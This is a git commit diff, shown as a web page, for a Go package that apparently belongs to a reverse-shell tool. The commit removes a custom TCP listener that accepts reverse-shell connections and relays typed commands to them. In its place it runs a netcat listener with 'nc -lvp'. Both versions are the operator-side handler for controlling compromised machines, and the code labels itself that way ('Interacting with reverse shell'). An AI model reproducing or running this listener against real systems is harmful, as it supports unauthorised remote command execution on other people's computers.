switched to inoking netcat
This commit is contained in:
		
							parent
							
								
									0847b677bc
								
							
						
					
					
						commit
						84d8cc9c58
					
				| 
						 | 
					@ -1,78 +1,28 @@
 | 
				
			||||||
package listener
 | 
					package listener
 | 
				
			||||||
 | 
					
 | 
				
			||||||
import (
 | 
					import (
 | 
				
			||||||
	"bufio"
 | 
					 | 
				
			||||||
	"fmt"
 | 
						"fmt"
 | 
				
			||||||
	"io"
 | 
					 | 
				
			||||||
	"net"
 | 
					 | 
				
			||||||
	"os"
 | 
						"os"
 | 
				
			||||||
 | 
						"os/exec"
 | 
				
			||||||
)
 | 
					)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
func handleConnection(conn net.Conn) {
 | 
					func startNetcatListener(lport string) {
 | 
				
			||||||
	defer conn.Close()
 | 
						// Create the command to run netcat as a listener
 | 
				
			||||||
 | 
						cmd := exec.Command("nc", "-lvp", lport)
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	fmt.Println("Connection established. Interacting with reverse shell...")
 | 
						// Set up the output to be printed to the console
 | 
				
			||||||
	fmt.Println("Press enter once if prompt does not show up.")
 | 
						cmd.Stdout = os.Stdout
 | 
				
			||||||
 | 
						cmd.Stderr = os.Stderr
 | 
				
			||||||
 | 
					
 | 
				
			||||||
	// Use bufio.NewReader for more interactive input handling
 | 
						// Run the command
 | 
				
			||||||
	reader := bufio.NewReader(os.Stdin)
 | 
						err := cmd.Run()
 | 
				
			||||||
 | 
					 | 
				
			||||||
	for {
 | 
					 | 
				
			||||||
		// Read command input interactively from the user
 | 
					 | 
				
			||||||
		fmt.Print("Shell> ")
 | 
					 | 
				
			||||||
		cmd, err := reader.ReadString('\n') // Read until Enter is pressed
 | 
					 | 
				
			||||||
	if err != nil {
 | 
						if err != nil {
 | 
				
			||||||
			fmt.Println("Error reading command:", err)
 | 
							fmt.Println("Error starting netcat listener:", err)
 | 
				
			||||||
			return
 | 
					 | 
				
			||||||
		}
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
		// Send the command to the reverse shell
 | 
					 | 
				
			||||||
		_, err = conn.Write([]byte(cmd))
 | 
					 | 
				
			||||||
		if err != nil {
 | 
					 | 
				
			||||||
			fmt.Println("Error sending command:", err)
 | 
					 | 
				
			||||||
			return
 | 
					 | 
				
			||||||
		}
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
		// Read the response from the reverse shell
 | 
					 | 
				
			||||||
		buf := make([]byte, 1024)
 | 
					 | 
				
			||||||
		n, err := conn.Read(buf)
 | 
					 | 
				
			||||||
		if err != nil && err != io.EOF {
 | 
					 | 
				
			||||||
			fmt.Println("Error reading from connection:", err)
 | 
					 | 
				
			||||||
			return
 | 
					 | 
				
			||||||
		}
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
		// Print the reverse shell output
 | 
					 | 
				
			||||||
		fmt.Print(string(buf[:n]))
 | 
					 | 
				
			||||||
	}
 | 
					 | 
				
			||||||
}
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
func startListener(lhost, lport string) {
 | 
					 | 
				
			||||||
	listenAddress := fmt.Sprintf("%s:%s", lhost, lport)
 | 
					 | 
				
			||||||
	listener, err := net.Listen("tcp", listenAddress)
 | 
					 | 
				
			||||||
	if err != nil {
 | 
					 | 
				
			||||||
		fmt.Println("Error starting listener:", err)
 | 
					 | 
				
			||||||
		os.Exit(1)
 | 
							os.Exit(1)
 | 
				
			||||||
	}
 | 
						}
 | 
				
			||||||
	defer listener.Close()
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
	fmt.Printf("Listening for reverse shell on %s:%s...\n", lhost, lport)
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
	// Accept incoming connections and handle them
 | 
					 | 
				
			||||||
	for {
 | 
					 | 
				
			||||||
		conn, err := listener.Accept()
 | 
					 | 
				
			||||||
		if err != nil {
 | 
					 | 
				
			||||||
			fmt.Println("Error accepting connection:", err)
 | 
					 | 
				
			||||||
			continue
 | 
					 | 
				
			||||||
		}
 | 
					 | 
				
			||||||
 | 
					 | 
				
			||||||
		// Handle the connection in a new goroutine
 | 
					 | 
				
			||||||
		go handleConnection(conn)
 | 
					 | 
				
			||||||
	}
 | 
					 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
 | 
					
 | 
				
			||||||
func Listen(lport string) {
 | 
					func Listen(lport string) {
 | 
				
			||||||
	// Listen on everything, lazy
 | 
						fmt.Printf("Starting netcat listener on port %s...\n", lport)
 | 
				
			||||||
	lhost := "0.0.0.0"
 | 
						startNetcatListener(lport)
 | 
				
			||||||
 | 
					 | 
				
			||||||
	startListener(lhost, lport)
 | 
					 | 
				
			||||||
}
 | 
					}
 | 
				
			||||||
| 
						 | 
					
 | 
				
			||||||
		Loading…
	
		Reference in a new issue